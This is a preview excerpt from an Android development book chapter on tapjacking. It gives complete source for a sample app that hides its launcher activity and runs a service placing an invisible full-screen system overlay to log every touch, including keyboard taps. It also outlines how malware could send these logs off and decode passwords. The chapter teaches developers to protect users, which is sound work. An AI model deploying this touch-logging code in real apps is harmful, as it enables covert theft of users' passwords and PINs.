The following is the first few sections of a chapter from The Busy Coder's Guide to Android Development, plus headings for the remaining major sections, to give you an idea about the content of the chapter.
On the whole, Android’s security is fairly good for defending an app from another app. Between using Linux users and filesystems for protecting an application’s files from other apps, to the use of custom permissions to control access to public interfaces, an application would seem to be relatively protected.
However, there is one attack vector that existed until Android 4.0.3: tapjacking. This chapter outlines what tapjacking is and what you can do about it to protect your app’s users, for as long as you are supporting devices older than 4.0.3.
Understanding this chapter requires that you have read the chapters on:
Tapjacking refers to another program intercepting and inspecting touch events that are delivered to your foreground activity (or related artifacts, such as the input method editor). At its worst, tapjackers could intercept passwords, PINs, and other private data.
The term “tapjacking” seems to have been coined by Lookout Mobile Security, in a blog post that originally demonstrated this issue.
You might be wondering how this is possible. There are a handful of
approaches to implementing this. The Lookout blog post cited perhaps
the least useful approach: making a transparent Toast
. The
Tapjacking/Jackalope
sample application will illustrate a far more
troublesome implementation.
You may recall that there are three axes to consider with Android user interfaces. The X and Y axes are the ones you typically think about, as they control the horizontal and vertical positioning of widgets in an activity. The Z axis — effectively “coming out the screen towards the user’s eyes” — can be used in applications for sophisticated techniques, such as a pop-up panel.
Normally, you think of the Z axis within the scope of your activity
and its widgets. However, there are ways to display “system alerts”
– widgets that can float over the top of any activity. A Toast
is
the one you are familiar with, most likely. A Toast
displays
something on the screen, yet touch events on the Toast
itself will
be passed through to the underlying activity. Lookout demonstrated
that it is possible to create a fully-transparent Toast
. However,
the lifetime of a Toast
is limited (3.5 seconds maximum), which
would limit how long it can try to grab touch events.
However, any application holding the SYSTEM_ALERT_WINDOW
permission
can display their own “system alerts” with custom look and custom
duration. By making one that is fully transparent and lives as long
as possible, a tapjacker can obtain touch events for any application
in the system, including lock screens, home screens, and any standard
activity.
To demonstrate this, let’s take a look at the Jackalope sample application. It consists of a tiny activity and a service, with the service doing most of the work.
The activity employs Theme.NoDisplay
:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="1.0" package="com.commonsware.android.tj.jackalope">
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application android:label="Jackalope">
<activity android:name=".Jackalope"
android:theme="@android:style/Theme.NoDisplay">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".Tapjacker" />
</application>
</manifest>
The activity then just starts up the service and finishes:
package com.commonsware.android.tj.jackalope;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
public class Jackalope extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startService(new Intent(this, Tapjacker.class));
finish();
}
}
The visible effect is… nothing. Tapping the icon in the launcher appears to have no effect, but it does actually start up the tapjacker. You just cannot see it.
The Tapjacker
service does its evil work in a handful of lines of
code:
package com.commonsware.android.tj.jackalope;
import android.app.Service;
import android.content.Intent;
import android.graphics.PixelFormat;
import android.os.IBinder;
import android.util.Log;
import android.view.Gravity;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
public class Tapjacker extends Service implements View.OnTouchListener {
private View v=null;
private WindowManager mgr=null;
@Override
public void onCreate() {
super.onCreate();
v=new View(this);
v.setOnTouchListener(this);
mgr=(WindowManager)getSystemService(WINDOW_SERVICE);
WindowManager.LayoutParams params
=new WindowManager.LayoutParams(
WindowManager.LayoutParams.FILL_PARENT,
WindowManager.LayoutParams.FILL_PARENT,
WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY,
WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH,
PixelFormat.TRANSPARENT);
params.gravity=Gravity.FILL_HORIZONTAL|Gravity.FILL_VERTICAL;
mgr.addView(v, params);
// stopSelf(); -- uncomment for "component-less" operation
}
@Override
public IBinder onBind(Intent intent) {
return(null);
}
@Override
public void onDestroy() {
mgr.removeView(v); // comment out for "component-less" operation
super.onDestroy();
}
public boolean onTouch(View v, MotionEvent event) {
Log.w("Tapjacker",
String.valueOf(event.getX())+":"+String.valueOf(event.getY()));
return(false);
}
}
In onCreate()
, we create an invisible View
in Java code. Note
that while you normally create a widget by passing in the Activity to
the constructor, any Context will work, and so here we use the
Tapjacker
service itself.
Then, we access the WindowManager
system service and add the
invisible View
to the system. To do this, we need to supply a
WindowManager.LayoutParams
object, much like you might use
LinearLayout.LayoutParams
or RelativeLayout.LayoutParams
when
putting a View
inside of one of those containers. In this case, we:
View
is to fill the screenView
is to be treated as a “system overlay”
(TYPE_SYSTEM_OVERLAY
), which will be at the top of the Z axis,
floating above anything else (activities, dialogs, etc.)View
itself (FLAG_WATCH_OUTSIDE_TOUCH
), such as on the system bar
in API Level 11+ devicesWe attach the Tapjacker
service itself as the OnTouchListener
to
the View
, and simply log all touch events to LogCat. In
onDestroy()
, we remove the system overlay View
.
The result is that every screen tap results in an entry in LogCat – including data entry via the soft keyboard — even though the user is unaware that anything might be intercepting these events.
Note, though, that this does not intercept regular key events, including those from hardware keyboards. Also note that this does not magically give the malware author access to data entered before the tapjacker was set up. Hence, even if the tapjacker can sniff a password, if they do not know the account name, the user may still be safe.
So, you have touch events. On the surface, this might not seem terribly useful, since the View cannot see what is being tapped upon.
However, a savvy malware author would identify what activity is in the foreground and log that information along with the tap details and the screen size, periodically dumping that information to some server. The malware author can then scan the touch event dumps to see what interesting applications are showing up. With a minor investment – and possibly collaboration with other malware authors — the author can know what touch events correspond to what keys on various input method editors, including the stock keyboards used by a variety of devices. Loading a pirated version of the APK on an emulator can indicate which activity has the password, PIN, or other secure data. Then, it is merely a matter of identifying the touch events applied to that activity and matching them up with the soft keyboard to determine what the user has entered. Over time, the malware author can perhaps develop a script to help automate this conversion.
Hence, the on-device tapjacker does not have to be very sophisticated, other than trying to avoid detection by the user. All of the real work to leverage the intercepted touch events can be handled offline.
The preview of this section is out seeking fame and fortune as the Dread Pirate Roberts.
The preview of this section may contain nuts.
The preview of this section was traded for a bag of magic beans.
The preview of this section was stepped on by Godzilla.